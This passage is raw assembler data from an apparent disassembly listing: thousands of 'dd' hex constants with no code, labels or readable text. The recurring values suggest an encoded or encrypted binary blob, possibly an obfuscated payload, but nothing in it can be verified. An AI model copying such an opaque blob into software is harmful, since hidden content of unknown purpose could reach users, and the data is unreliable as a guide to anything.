		dd 0F105959h, 5F3F8478h, 0C61D7DDFh, 62435953h,	0DBE5B132h
		dd 5675B124h, 56BAA0DBh, 13341C32h, 2F0043B9h, 975528DDh
		dd 0CEC9F5ACh, 30B516C3h, 0DD8C7EB9h, 789DD0CBh, 0BFBAB130h
		dd 565DB139h, 0F39D3D83h, 7BB92861h, 91316013h,	564BB1B0h
		dd 56EAB13Ah, 589CD132h, 0DCBAB132h, 75C01E5Eh,	96E7EB70h
		dd 4D6C77DDh, 0BC2BE69Fh, 4B4EE51h, 56FD3E3Dh, 449CB132h
		dd 0B1BAB132h, 4196807Ch, 0AD3D690Eh, 1F86BF5Eh, 6D727E7Fh
		dd 33507706h, 0ED4B34h,	0EE27D9CBh, 0A94F2D9Ah,	0AC7D2487h
		dd 5729BE35h, 0AF57B132h, 56A15952h, 4B11B132h,	17828C1Bh
		dd 2A745BC9h, 79A77C8Dh, 0D852EE61h, 56AEB133h,	0D3DAD0C7h
		dd 515612EFh, 0D7B3D1CAh, 15C84F5h, 5675B9DBh, 6EA04132h
		dd 787FEAA1h, 0A9CFE8C8h, 565F58E2h, 0E024B132h, 107FCED3h
		dd 0D363736Bh, 518F9B07h, 56BABDDBh, 50966B32h,	0C4968203h
		dd 0C5683EC0h, 0AFAFDB02h, 56C5B15Ah, 56ED5832h, 0F742B132h
		dd 86D6D4F7h, 5B1DD9DCh, 3C5BB131h, 86A84D32h, 56A3373Dh
		dd 0DEDAB132h, 56EAB130h, 592FD052h, 56BAB9B2h,	54D9BE32h
		dd 36AEB132h, 5997BA53h, 56AB56B6h, 0B854D132h,	7E8F1807h
		dd 0F7A33054h, 0DF4FD016h, 56C3B1B0h, 0D427483Ah, 5E572F2Ah
		dd 56ABB6DBh, 9533D332h, 0C261160Dh, 5578F18Bh,	0AE314932h
		dd 565C323Dh, 655BB132h, 94D6D1F2h, 5D4BACC4h, 37253A54h
		dd 41F1BC1h, 566C373Dh,	0D3B5B132h, 565DB121h, 56AEBFDBh
		dd 0A29C5132h, 0A90A00B7h, 1F515309h, 596F3F68h, 5675BEBFh
		dd 0DDDCD132h, 565858E2h, 2520B132h, 37BE96D6h,	3E57B558h
		dd 56D5A132h, 56ED5852h, 0BD32B132h, 481D6DFCh,	17E6D72Eh
		dd 56C6D077h, 0BF57B136h, 56ABB13Eh, 0A22E0A55h, 2B011DC7h
		dd 0BF2864E9h, 4553B158h, 4A5DB132h, 0B0C80C0Fh, 6AAE7B7Dh
		dd 8F5A83E8h, 0BC0F35B7h, 0C415C978h, 518F9B07h, 56BABFDBh
		dd 92BDFD32h, 2AB54D5Ch, 0C59302F5h, 0C185F15h,	0E55738C7h
		dd 0AAE2B192h, 40FFBE53h, 0BFBAB132h, 565DB123h, 2F5BBA3Fh
		dd 2D240216h, 0F70B166Ch, 3787CFEAh, 566F3A43h,	0A37DB1ACh
		dd 56B158F1h, 0AF3BB132h, 6EE5B292h, 38717BC8h,	5A42D1BCh
		dd 19D5B132h, 790FAED7h, 0F87A23BDh, 91FBACDEh,	0AC5FB0B0h
		dd 16AEB135h, 0D4904432h, 51518477h, 56D5A132h,	56EABFDBh
		dd 95349132h, 867728F2h, 0CE1F184Bh, 370C22E3h,	0E53772CAh
		dd 37CAD12Dh, 0BFB5D152h, 56EAB13Dh, 0CF65163Ch, 0FFA61B8Fh
		dd 0C3A734FDh, 37C70D0Fh, 87DCD752h, 56AB3F3Dh,	37B4B132h
		dd 0C8EA0BB9h, 0DF7AB932h, 56BAB133h, 566232CEh, 5601353Dh
		dd 0D5ABB132h, 59A9A14Dh, 56D5FFB6h, 0BE6BD132h, 1837ACA8h
		dd 56BAB7DAh, 68837332h, 0DC69AF92h, 0D536EFF9h, 59AFA14Dh
		dd 56D5E9B6h, 56E75832h, 79EFB132h, 0C5F0B618h,	0F4017C5Fh
		dd 0D5440D5Ah, 58BEA5F5h, 0B5ABB132h, 0F275DA7h, 3E7F86E4h
		dd 0C450FB5Bh, 0A925586Fh, 91A84ECDh, 56AFA175h, 0D558B132h
		dd 56ABB123h, 56D5BDDBh, 0C5C47C32h, 192919C3h,	0F46F2F52h
		dd 0A99C58D5h, 30CE4ECDh, 67EE47B3h, 46EC7653h,	56D5B131h
		dd 56EC5852h, 85F9B132h, 0C0870655h, 0BF3C66B8h, 0A9514EADh
		dd 5657BADBh, 0C979FF32h, 142DD12Bh, 0A089D323h, 0D37AD0C7h
		dd 56BAB133h, 0BF9E4DCEh, 56AEB139h, 562F4133h,	0CD2B3778h
		dd 3021BD4h, 56E43E3Dh,	5F9CB132h, 0B1BAB132h, 851CA14Dh
		dd 34E8B4F8h, 59BE5DB9h, 0EBABB132h, 0CE9C8AFh,	0F8957431h
		dd 269B6EEh, 53532CD4h,	3B5DB132h, 0EFEF87FEh, 57D4BE52h
		dd 0A3ABB132h, 56D5B1DAh, 0BC6BEB32h, 5E750BBAh, 56B058C7h
		dd 2654B132h, 65F1EAFCh, 0AA8DFF3Ch, 0F66703B9h, 30B5B932h
		dd 0D0E57FB9h, 5675B136h, 0D5E90E54h, 57D5BE53h, 0AEAEB132h
		dd 0BF5FF4B9h, 56ABB138h, 61076748h, 0BC00CB43h, 50FC0448h
		dd 56A1333Dh, 0BF3DB132h, 56AEB123h, 36B9336Ch,	3C4C9875h
		dd 0D6E2EAD4h, 4FB46410h, 12AE31E3h, 9A383253h,	5255B192h
		dd 5E47D0CAh, 6E57B132h, 3880F40h, 9F881BB6h, 56EABADBh
		dd 0CCDD7E32h, 50CDB38Dh, 0AE5FF717h, 56A45852h, 0D411B132h
		dd 0E43A21F4h, 0E40E35D6h, 0D01CC989h, 52B7D053h, 0D7DCD132h
		dd 0AE3650FDh, 4547D153h, 5357B132h, 606E9910h,	0C0681C3Ah
		dd 872584B9h, 0B62647AAh, 0E9DAFD77h, 535385CCh, 5624BE62h
		dd 0C57B132h, 56AB5953h, 0D78FB132h, 5651D4D8h,	52F7BE3Ah
		dd 36BAB132h, 0BF3CD052h, 56AEB13Dh, 741FC5A3h,	0CA8103Fh
		dd 37EC8252h, 0DD4993BCh, 56D50280h, 37DAD13Ah,	37AF0E3Dh
		dd 0F6620309h, 0D258B932h, 56ABB0B2h, 59EB3ACBh, 56EABFBDh
		dd 567C5832h, 0E522B132h, 4D8DCE95h, 59450CD2h,	5657B0B1h
		dd 89204832h, 1963BEC7h, 56E75833h, 15A4B132h, 6E159051h
		dd 25CC22FCh, 0A03D6F43h, 59D7B075h, 56ABF6B7h,	56DD5832h
		dd 69E0B132h, 0F3353056h, 8FB90D70h, 43D6BECAh,	0BFAEB132h
		dd 5657B122h, 31403FDAh, 5728C62Dh, 458D9EBFh, 2018A398h
		dd 56BAACDBh, 50D2BE32h, 36AEB132h, 0A8DC7AB9h,	56AD5853h
		dd 1BF4B132h, 0A1868305h
		dd 0DD156819h, 59F9D0C8h, 565DB6BFh, 0A62ED132h, 37D0050Dh
		dd 5321BE71h, 36D5B132h, 37333A54h, 5667313Dh, 5B53B132h
		dd 195DB132h, 2643D49Eh, 0BF2C0590h, 6A86BA77h,	72FC34B9h
		dd 0BE8AB6C8h, 5675B126h, 0B9509056h, 2967A4F2h, 7758D7FFh
		dd 10D4F7B6h, 688A4172h, 308A5A85h, 368B6EB9h, 5673373Dh
		dd 0D9B5B132h, 565DB132h, 37593A54h, 62923CB9h,	6D5EB6C8h
		dd 1D57BEEAh, 0BFEAB132h, 5675B138h, 0A2D9D9BDh, 0B84682Fh
		dd 5847D677h, 8357B132h, 82FA4441h, 0D315CE25h,	0C45462C7h
		dd 59AC8A3Ah, 56BA90B5h, 47B44D32h, 75AEB132h, 567125A1h
		dd 0CF1C021Ah, 432D6888h, 2B9F7FD0h, 0AF7177B1h, 0A94412DBh
		dd 996649CDh, 5688353Dh, 0DFAEB132h, 0AC9F748Fh, 0D63C4435h
		dd 0BF154ECCh, 5675B126h, 66ED4630h, 7084F117h,	0E39D2D41h
		dd 5C1CF41Bh, 391E10F5h, 56D95853h, 0DA9AB132h,	0C2CAAD92h
		dd 310F1880h, 599EF74Bh, 56AEB0BBh, 36374832h, 12D7CBh
		dd 563DD019h, 0CEAB132h, 0EB3F5BB3h, 0ECDAB932h, 40A6CC37h
		dd 8683B63h, 56505853h,	0DAFFB132h, 0F5329976h,	591FD1F0h
		dd 5675B7B5h, 4B7D3032h, 37525DA4h, 0F61D0BB9h,	0EF37B932h
		dd 357E60C6h, 56D5393Dh, 0EF8BB132h, 5675B032h,	0BF7A82C7h
		dd 565DB122h, 844A71AAh, 7DD56C1Fh, 3647F23Eh, 2363DAA7h
		dd 0D8E51AC1h, 5675B139h, 5630BE52h, 595DB132h,	0DDCF4385h
		dd 56F702B0h, 512DBE3Ah, 36D5B132h, 0E9E5D052h,	0D4FCD0C8h
		dd 5EBA11FEh, 0D752D0CEh, 56AEB13Bh, 300CE252h,	3D068B3h
		dd 5C3C7253h, 0B9EAB132h, 0B40A5837h, 8269DA52h, 593D446Bh
		dd 56AEBCB0h, 565F5832h, 8B00B132h, 0FF3CF692h,	56028360h
		dd 0C75B132h, 0E8B45BB3h, 58B4B932h, 0DAAEB132h, 0D45EC6C9h
		dd 5A8778ADh, 0D8ED5E20h, 0D32C4889h, 518FB757h, 0DCB5D164h
		dd 565DB134h, 131E7EB3h, 0BE37AE22h, 56ABB13Ch,	6BB9D1FFh
		dd 8E891DFFh, 0BEF6E1D2h, 59E518D4h, 373C418Dh,	49C3885Ah
		dd 57D5BEE6h, 0A3ABB132h, 764004CDh, 0BF8AB6C8h, 5675B120h
		dd 0CDB80A02h, 4351B44Ah, 0D2B8AB9Ch, 4E4E168Fh, 851D634Eh
		dd 8B503C53h, 36ED4C91h, 5675A5DBh, 0DCF51732h,	8C32CA70h
		dd 1AD6EDD1h, 589129B3h, 842D4D39h, 862AD035h, 56EAB6DBh
		dd 3C06C532h, 7E7C7B28h, 303DD160h, 6ACB41B3h, 0E936E960h
		dd 6524DAC1h, 3E29E153h, 56EA3132h, 567F373Dh, 5353B132h
		dd 0AE5DB132h, 76F4F220h, 0AE57DBC7h, 56ABA3DBh, 91106A32h
		dd 0ABE369D0h, 73AE2C1h, 0EF3C04DCh, 0A91ED95Dh, 5630B180h
		dd 565F583Ah, 0A309B132h, 93F7A1B8h, 598A0E4Ah,	5675B4B6h
		dd 0DB250B32h, 0A93CCB27h, 59F644E2h, 5657B0BBh, 36F14832h
		dd 371B063Dh, 566AB15Ah, 567A5832h, 692EB132h, 0B92D61BCh
		dd 1320AB44h, 5A0CD418h, 4129BEA1h, 36D5B132h, 56EABBDAh
		dd 8F315A32h, 5A5E0B20h, 0C470498h, 9F658Ah, 563DD05Eh
		dd 0E5194ECBh, 0BFDDB192h, 56EAB122h, 9BFC2749h, 0D8CB72F2h
		dd 78C37A80h, 7C48AAACh, 63761CDh, 37CA446Ch, 56C03D3Dh
		dd 598AB132h, 5675B1B5h, 56B25832h, 524AB132h, 0B95D0880h
		dd 5936C641h, 56ABB6B3h, 5752BE32h, 0AAEAB132h,	0D713D1F1h
		dd 0BF9978E8h, 565DB13Ch, 0B81C7299h, 72C99062h, 0E1EB522Ch
		dd 36B4E6AEh, 56EB313Dh, 3780B132h, 5130BE67h, 595DB132h
		dd 56AEB0B8h, 0BADC4932h, 56ABA1DBh, 0CCC2F832h, 0C01CA496h
		dd 0E236256Ch, 0D26B92A8h, 0D352D144h, 56AEB133h, 565759C7h
		dd 0D7F1B132h, 5615B0D8h, 0AE8A443Ah, 5675BBDAh, 0DF53D632h
		dd 0D571379Ch, 59575C16h, 370E7885h, 36A3C4B9h,	5650BE61h
		dd 0DEAB132h, 37A50E3Dh, 5430BE52h, 0DD5DB132h,	37763AC0h
		dd 565981DAh, 56B95832h, 0E38AB132h, 2FE99F8Fh,	0A64CC198h
		dd 0F2B84B72h, 0D2F7C40Fh, 56AEBADBh, 73D56E32h, 0BA2B90E8h
		dd 31AF9D1Dh, 5A6BBE67h, 5975B132h, 56BAB7BFh, 56D9BE32h
		dd 0A9AEB132h, 56C928A0h, 0E1A4D13Ah, 0AEB449C5h, 56EF586Fh
		dd 0C7BDB132h, 6D5BC4E8h, 0D352BD47h, 0A9514E92h, 19230852h
		dd 2E13C2C2h, 37CA0F97h, 56E775DAh, 5EF3BE32h, 36BAB132h
		dd 565D3F3Dh, 36CFB132h, 0F973054h, 56A6582Fh, 6F16B132h
		dd 429473E3h, 0CF545463h, 3770EC4Eh, 565A5853h,	8A90B132h
		dd 0FCADA985h, 504278C1h, 74D5B132h, 9608AE1Eh,	567D73FCh
		dd 4653D1CBh, 415DB132h, 497D352Eh, 56AEB7F1h, 18D67537h
		dd 0D7560ABDh, 6DD35CD5h, 5920D042h, 56BABBB3h,	56585832h
		dd 1E50B132h, 0DD44762Eh, 0DAA4D1DEh, 56D5B134h, 0DF096EB3h
		dd 8FFEEDF2h, 0AA7E3253h, 1A1E7CEh, 56A25852h, 34FFB132h
		dd 0C810ED66h, 0D4CB442Ch, 0DD8C2B1Ch, 0AF26D0E5h, 56BAB1DAh
		dd 0BCDCEB32h, 5EAE7066h, 0DD31E152h, 5142EBCCh, 0FED5B132h
		dd 93533D45h, 59149ABFh, 56BABDBAh, 7EE3D132h, 0EDEF21C9h
		dd 10C8118Ch, 5C43D153h, 60D5B132h, 0E87372DAh,	0B6B79A2Ah
		dd 8505BEE8h, 0DF853169h, 5EDB3A53h, 56D5BE52h,	30ABB132h
		dd 90387FB3h, 46973A53h, 615D1CAh, 5636BE6Ah, 375DB132h
		dd 377C063Dh, 565F5865h, 6832B132h, 98F82CFBh, 0BFBC3F1Ch
		dd 5675B126h, 8E749E4Ch, 442543D7h, 2CCE3AF1h, 0D1D32141h
		dd 3494A9D0h, 56D5BEDBh, 17160D32h, 718DDA35h, 4DCB370Fh
		dd 8B640661h, 56AF2FDAh, 965C4932h, 564B353Dh, 36B5B132h
		dd 0D550D052h, 37258947h, 56B8333Dh, 373DB132h,	59563A53h
		dd 5657BBBCh, 56AE5832h, 980EB132h, 3A978FEh, 5675A2DBh
		dd 14332432h, 0FFB3EC8Ah, 0AB61A0CBh, 7C2636DBh, 0EAD947DBh
		dd 0C84C23CDh, 0DD8AB932h, 0AFFED7E5h, 0DDDAEC53h, 37AF3AEDh
		dd 59A2C409h, 565734B6h, 0DDA4D132h, 56D5B130h,	0D0E5E865h
		dd 5675B136h, 1C8F0854h, 48D6D753h, 56A9373Dh, 0D958B132h
		dd 56ABB133h, 0A63231CBh, 56EAA5DBh, 75C42632h,	430E75C4h
		dd 4774A8B4h, 8537FFADh, 2CFC1B70h, 36B53BBEh, 59B56384h
		dd 378B7A8Dh, 0BF8552B2h, 56BAB13Bh, 8D1DA64Dh,	0BEE1C5BCh
		dd 731859C0h, 0BF5EB132h, 0A92A4FC6h, 56F2313Dh, 0D07AB132h
		dd 56BAB120h, 565DBCDBh, 59531C32h, 896A07F1h, 86173F01h
		dd 2B5C8DECh, 30244CEh,	598A4EC4h, 56BAB4BAh, 0E6A1D132h
		dd 4547D0BBh, 0E957B132h, 7826F7D4h, 31A56961h,	618430F8h
		dd 1D89B2Fh, 59E1B434h,	565DA8B8h, 4447D132h, 7057B132h
		dd 38AB8D2Dh, 97833972h, 5E1CBED8h, 8DA324DFh, 59E5D046h
		dd 565DB9B1h, 5426BE32h, 3657B132h, 0BFF54953h,	56D5B137h
		dd 215D6086h, 0AA303A97h, 56A43D3Dh, 0D352B132h, 56AEB12Ah
		dd 5657A2DBh, 0F7EE2E32h, 109216F9h, 0D6F7D42Eh, 932FA7BAh
		dd 3E3436D2h, 5DDABEFBh, 0BFAEB132h, 5657B134h,	20A82CFDh
		dd 5A17F7E4h, 56E75832h, 6FCBB132h, 49EC9F74h, 5684435Eh
		dd 3EF6117h, 81D6D752h,	0DEA4B87Ah, 56D5B139h, 56EAB7DBh
		dd 32733532h, 370159ECh, 0AEB13ACBh, 0AF5675B1h, 3037E6CAh
		dd 0BEC03E88h, 56D5B126h, 3A8313BDh, 118BD8A6h,	79BAB295h
		dd 1FC4C542h, 6A5A05B7h, 37092881h, 59FA4864h, 56D5B6B9h
		dd 5767BE32h, 0AA75B132h, 5953E2C7h, 0AA5DB132h, 15CC8015h
		dd 3AAFFB58h, 0F2CF05C7h, 1312251Dh, 56EAB1CAh,	57FEBE32h
		dd 0AABAB132h, 0C9AD33F5h, 56AFB932h, 0EC37B132h, 71B34E1Dh
		dd 5EA03A53h, 56EAB8DBh
		dd 0DF31AA32h, 0E39F0EC1h, 0DD3B8C39h, 0DEA1D12Ch, 5657B130h
		dd 8FD5F86h, 566F3A53h,	36E2B1ACh, 0D6AC0E3Dh, 0AEDB73D1h
		dd 0AF55EEB9h, 0D2A16A39h, 5657B15Dh, 56A8383Dh, 0A3B5B132h
		dd 59348A53h, 5675E5B7h, 5852D132h, 915DB132h, 6CEB014h
		dd 0B5F18A31h, 0AEB77A7Ah, 56C658CCh, 0AEFFB132h, 5D660713h
		dd 981863F1h, 43AD2507h, 0F9EBE418h, 0DD31E9EEh, 0B20D0F3h
		dd 56D3583Eh, 0EF31B132h, 0C3ACD018h, 59B6EEBBh, 565DBDB1h
		dd 5027BE32h, 5957B132h, 56ABB1BFh, 42123232h, 0A96C58CBh
		dd 308C4ECDh, 0D643AFB9h, 0D25259C9h, 56AEB21Dh, 565F373Dh
		dd 30CBB132h, 549048Bh,	0AD6AD06Dh, 4EF1BEDBh, 0AABAB131h
		dd 59B64AB2h, 56ADBFB6h, 0ADD74932h, 982FBED0h,	59D5B130h
		dd 56EAB0B5h, 0ADF54D32h, 0FC3EBED1h, 365DB130h, 56AEBCDBh
		dd 0FFEB4C32h, 0FE5FC19Dh, 0D579C3Bh, 308BDDA1h, 0B5124AB3h
		dd 5425353Dh, 44B4B132h, 17AEB132h, 0D404A964h,	99579323h
		dd 1D95160Ch, 0F5E69F5h, 0A6923102h, 853BD752h,	0BFE3B99Ah
		dd 37BF6064h, 0ADD6D7CAh, 0D2A4313Dh, 56D5B391h, 410A3052h
		dd 593E56A1h, 56BAB1B0h, 0B5DDD032h, 0AD2E4DC2h, 0DED3BE42h
		dd 59ABB130h, 56D5BDBEh, 5061BE32h, 5975B132h, 56BAB1B1h
		dd 48D6D732h, 56A3373Dh, 5EBEB132h, 62ABB132h, 85E62339h
		dd 0D6B8396Eh, 589C49D1h, 41BAB132h, 0D180E148h, 0D9878E97h
		dd 68AAF35Eh, 0EE5031F7h, 57B0353Dh, 0D612B132h, 0D27AB40Ch
		dd 56BAB069h, 7B6331CEh, 57FF353Dh, 0D6A2B132h,	0D2A4D90Ch
		dd 56D5B075h, 0A6684ECBh, 367DB1ADh, 0D6880B52h, 59B4A680h
		dd 0DCAEB132h, 0DB016DFDh, 0EE42158Ch, 0D8A5F898h, 368B4771h
		dd 56753F3Dh, 0DDDCB132h, 0AA3CD0C2h, 59B03A54h, 5657ACB7h
		dd 0D7CDD132h, 0BE8CC1D3h, 56EAB122h, 0D6457DD5h, 21A4E117h
		dd 36831D00h, 0EE55265h, 637D068h, 273F76B3h, 0D78BA819h
		dd 0CB0CEFECh, 0B1F5D045h, 0DDDA48CAh, 8FD6D1F3h, 0D7C8D053h
		dd 59BF30C9h, 56AB7BB6h, 5750BE32h, 0AEEAB132h,	596B3A54h
		dd 56BAA8BDh, 45D6BE32h, 0BFAEB132h, 5657B13Ch,	0D2DB2EC1h
		dd 9C22AED5h, 65574983h, 0B1F556D6h, 0BF42D1C2h, 565DB13Ah
		dd 8683668Eh, 8A944CABh, 0AD2AD753h, 0D2DA71B3h, 56EAB1B1h
		dd 5674313Dh, 0BF43B132h, 565DB139h, 96D067CCh,	4B9AA5F8h
		dd 36820F8Ah, 0D6DAE4C7h, 56EAB13Fh, 56F8BE52h,	0E9BAB132h
		dd 55D3F534h, 0CF3C4E53h, 595FB1ACh, 56ABB8B9h,	0AC5FD132h
		dd 26150288h, 0BF28D079h, 56BAB138h, 5965970Eh,	0E9EBD4E6h
		dd 0DFAB5F75h, 59424D77h, 4BD5B132h, 0A3A9523Dh, 1AA42A93h
		dd 68B2A09Ah, 363C7118h, 56AB58CEh, 0FB44B132h,	372A0C94h
		dd 5729CCB1h, 576F343Dh, 0DD89B132h, 0ACB8B088h, 0A30D4935h
		dd 0C95E33B9h, 0D158B932h, 56ABB133h, 66E988CAh, 56EB303Dh
		dd 0E8DB132h, 57E7333Dh, 5CB4B132h, 8CAEB132h, 6AADE393h
		dd 0DAB5A61Fh, 136F3AA4h, 0AEED4B07h, 0DD7A4962h, 56BAB123h
		dd 565DBDDBh, 0CD55F132h, 0AD3F8661h, 0D35CF111h, 0A6573A20h
		dd 0AFE2B1ADh, 36458D0Bh, 56BABBDAh, 43795A32h,	6DBC7144h
		dd 0DD08A7C5h, 0DDCDE9F4h, 598DD0CBh, 56EBB7BDh, 5EF4BE32h
		dd 59BAB132h, 565DB3B2h, 0BFCFD132h, 5657B179h,	0AEEE76CAh
		dd 56D5B130h, 56EB363Dh, 0BF80B132h, 56BAB105h,	0AE1876CEh
		dd 56AEB133h, 5657A0DBh, 0AF3CA632h, 36D497F5h,	0F0D1B262h
		dd 4ABEF9D1h, 42534FCAh, 265DB132h, 3521D706h, 786058BFh
		dd 36744507h, 5CA6257Ch, 0DD88AC4Dh, 56EBB188h,	4931493Ah
		dd 5986BACAh, 56AE27B6h, 5ED1BE32h, 59ABB132h, 56D5B3B6h
		dd 6D8BD132h, 5F0BEECh,	36BAB132h, 565E373Dh, 0E1A1B132h
		dd 2AEDD7F4h, 0B20D026h, 2B564D3Eh, 0D2E5B1CAh,	5675B117h
		dd 56B2363Dh, 0D952B132h, 56AEB130h, 0B54D052h,	56A458CAh
		dd 8BAAB132h, 1342711Eh, 0E8208CF6h, 4360000Eh,	5202387Eh
		dd 56A63B3Dh, 5937B132h, 0DDCD738Dh, 9156D0E5h,	0D5034D26h
		dd 0BF8A4ECDh, 56BAB138h, 84B41FD0h, 76D6A112h,	96642674h
		dd 56ABB9DBh, 0D8C9F032h, 7FD89345h, 52BC58D6h,	304FB132h
		dd 363DAFB9h, 30CFD052h, 37D08F8Ch, 0BFA7CCB9h,	56D5B120h
		dd 8831819Fh, 76C1E067h, 0AE980410h, 0DA1144A6h, 0AD2E80CEh
		dd 10D3BED9h, 36ABB132h, 0B19A0B54h, 375C5EB2h,	0A38552B2h
		dd 264131CBh, 563A353Dh, 0D7CEB132h, 9DD5E6FDh,	5F42D07Fh
		dd 59D5B133h, 56EAADBDh, 40F3BE32h, 0BFBAB132h,	565DB123h
		dd 401E0108h, 9F1F9020h, 0C3E66E85h, 0B9495E84h, 0BFED77D0h
		dd 573276C7h, 56BAB132h, 8DEABE52h, 56A8363Dh, 8CD6B132h
		dd 203BD985h, 59123A53h, 56EABBB1h, 0F27D132h, 56BA353Dh
		dd 0D53CB132h, 0BF57B4F2h, 5657B529h, 516CD7CEh, 0D8DAB93Dh
		dd 56EAB128h, 56655852h, 237BB132h, 0A2507614h,	0F8DA2E25h
		dd 0EED2F479h, 0E9A431E4h, 463CD0FDh, 9FEAB132h, 0AF4CEAD2h
		dd 9F26C033h, 57D1CEC1h, 0DC9033BCh, 57DEBE2Ch,	0AAABB132h
		dd 36DA52B2h, 0FDC10A61h, 42EB502h, 22A75BB3h, 3704D46Fh
		dd 362E7AB2h, 0D5B7FE8Ah, 37633A00h, 0BFD4EEBAh, 56EAB139h
		dd 0B51F23F2h, 4F2B289Eh, 91AEF360h, 56AEB375h,	0DDA2B132h
		dd 962844F5h, 453CD134h, 9BEAB132h, 4B7AC2Dh, 412219AFh
		dd 3BBAC391h, 2A60FA0Bh, 0D731C3BAh, 37298FD0h,	56D6C3DBh
		dd 5763BE32h, 0A375B132h, 0C6843054h, 0D9D9BEA2h, 0BFAEB132h
		dd 5657B13Fh, 75CA2576h, 62716A94h, 3B3C6E48h, 0C64B31C0h
		dd 5630343Dh, 44B4B132h, 90AEB132h, 713A2CBBh, 0B0BE25EAh
		dd 8482A80Eh, 8138077Ch, 56665841h, 0DDBEB132h,	0E3013F21h
		dd 6FB7C70Eh, 9AD7F06Dh, 0F25A06C9h, 2854D728h,	597A21CDh
		dd 567588B6h, 4653D132h, 0D35DB132h, 81846EECh,	0EE8F3A89h
		dd 0A235C001h, 0AEEC53DCh, 5E62BE53h, 3675B132h, 58307AB3h
		dd 0BF3C9E6Bh, 56AEB116h, 0AEEED752h, 0DEA4E207h, 56D5B132h
		dd 9161D068h, 95A63152h, 0BFDB68B9h, 565DB3F1h,	56AF303Dh
		dd 0AAAFB132h, 0F65B33BFh, 5B5B932h, 82D3A54h, 5675B8DBh
		dd 0E9F70832h, 7C2FDDADh, 6CFFE5Eh, 0A30148CAh,	0C80623CDh
		dd 0D6DAB932h, 56EAB134h, 0DDAA0352h, 0D2B5D0E5h, 565DB133h
		dd 596EBACAh, 5657F3B6h, 56B95832h, 6BABB132h, 0FADF6765h
		dd 7BB23719h, 6A8AC9B2h, 63D16211h, 0DB5779B9h,	56F74180h
		dd 0A342443Ah, 0BFD5B132h, 56EAB13Ch, 40CF2515h, 7FA85F56h
		dd 9516ED36h, 0CE6AA0h,	300DD052h, 0CA61B9h, 56D5B7DBh
		dd 0FCD1B632h, 59790BD8h, 56BAB6BCh, 57D6BE32h,	0A3AEB132h
		dd 0BF377FB9h, 56ABB13Dh, 0FAF37E6h, 0FFD813FCh, 0ACA8A407h
		dd 59A93C8Fh, 33C4185h,	56AEA5DBh, 0F06D9332h, 4E2DD3Eh
		dd 24C91420h, 0F6E4DC48h, 0F29F657Ch, 0CF284E57h, 5955B1ACh
		dd 56AEB6B6h, 57DFBE32h, 0AFABB132h, 5A58BE6Fh,	59EAB132h
		dd 5675B7B0h, 5638BE32h, 7D5DB132h, 5147D1FCh, 8B57B132h
		dd 11A41013h, 0A1B48F8Ch, 2852D1EBh, 6632CADh, 56BAA2DBh
		dd 62847F32h, 75916E2Bh, 0EFB4BC16h, 0BCAC3BD0h, 0E8CE67E7h
		dd 308AD069h, 77546B3h,	660559B3h, 83CF65Bh, 56BD5852h
		dd 0FBF9B132h, 77A8A7E1h, 0EEB9BCFDh, 0B982DA65h, 554F30ECh
		dd 0D7DAD0D7h, 0ACC27FE5h, 37CFD17Ah, 57AFCCB1h, 560B343Dh
		dd 30B5B132h, 0E1E540B9h
		dd 1FC5D0CBh, 56B55852h, 4755B132h, 6DF265DAh, 0F8C9FA5Bh
		dd 0D8C12EFFh, 0AA7FD027h, 0D3E50954h, 5668373Dh, 0D1B5B132h
		dd 565DB125h, 56AEA3DBh, 83EF3B32h, 0A40BCAEh, 951CFD92h
		dd 0BC9372BAh, 30F71C65h, 0DDDCD199h, 565359FCh, 0C8DBB132h
		dd 0F63991E2h, 11F7915Ch, 9A836D7h, 37B3E863h, 5733073Dh
		dd 56BABDDBh, 0DCA4832h, 11B37364h, 0EC476AEh, 0D8A41AB3h
		dd 56D5B120h, 56ED5952h, 67B7B132h, 18046685h, 0DD3BEBB8h
		dd 0F347D0EAh, 5957B132h, 56ABB0B1h, 2B564932h,	0D3E5B3CAh
		dd 5675B14Ch, 56BAB4DBh, 0F1E9FF32h, 5D47E694h,	4C57B132h
		dd 0D7BDA09Ch, 5FCA2830h, 0EE8CB0C8h, 59157839h, 30DB6385h
		dd 0D73BD199h, 0EC6EA2E1h, 6086D835h, 5913D753h, 533CD1B6h
		dd 0CDEAB132h, 0A0CD1484h, 56BAB9DBh, 0B89F5032h, 0F8785F92h
		dd 0FD31D0E7h, 56BB383Dh, 0BFB5B132h, 56EAB135h, 1E68ACA2h
		dd 0E76029C7h, 0E052D002h, 0D2A1B074h, 5657B134h, 8D13D752h
		dd 0AA7ED084h, 56EAA6DBh, 0F2864432h, 56B4333Dh, 5FB4B132h
		dd 56AEB132h, 0EC6C4674h, 0B71D3E21h, 362C76B9h, 56EAB9DAh
		dd 84DBAC32h, 0E3B9BB8Dh, 590748CBh, 0DCF7B8Dh,	56563F3Dh
		dd 0F53B132h, 0DFDAEFCBh, 56EAB12Ah, 56673B3Dh,	5B53B132h
		dd 965DB132h, 4F860706h, 0FAE30C19h, 1C25682Ah,	503CD16Dh
		dd 0E8EAB132h, 521C652h, 8505BEECh, 0DA527853h,	56AEB135h
		dd 56563C3Dh, 945EB132h, 0D5DAB13Ah, 56EAB133h,	0A315E4CAh
		dd 0FC080E54h, 36B13A53h, 56AC3E3Dh, 7BE5B132h,	9514BE52h
		dd 37B40482h, 56EAA1DBh, 0E1C35C32h, 874845F0h,	0CD8BE4F7h
		dd 0E4D2C9DEh, 59BED113h, 50ABB132h, 0B140280h,	0BFF3778Fh
		dd 226DD0E9h, 5652B253h, 0C5DB132h, 98B85BB3h, 0BFABB932h
		dd 56ABB135h, 0B0C3AD5Bh, 0DD374F8Dh, 0AF8DB977h, 0C8F933BBh
		dd 0A33DB932h, 56BA343Dh, 58BFB132h, 0B1ABB132h, 9B58CEC8h
		dd 99F0004Eh, 8C11335Eh, 37DBEAF8h, 565B343Dh, 7CEB132h
		dd 3736D16Ah, 52694DFBh, 56D25832h, 1821B132h, 0FDBE443Fh
		dd 0DDDAE477h, 0BAD6D0E8h, 56AF313Dh, 0D5A2B132h, 365E49F6h
		dd 56D93D3Dh, 0D6E5B132h, 5675B134h, 56BA343Dh,	56B5B132h
		dd 0CAEB132h, 98CD5BB3h, 0BF53B932h, 56D5B135h,	0A6A5DD18h
		dd 0AA4C3FB4h, 5642F4F5h, 0A35DB132h, 5652F4F5h, 0BF57B132h
		dd 56ABB13Bh, 9CF69457h, 93BEE047h, 59B58288h, 56BAA6B3h
		dd 47DDBE32h, 0BFAEB132h, 5657B13Eh, 0E4E0FEEh,	0DC6BCAA1h
		dd 0A4EB2D9h, 0BF6B3A54h, 56BAB13Bh, 4E762F0Ch,	4049D43Ch
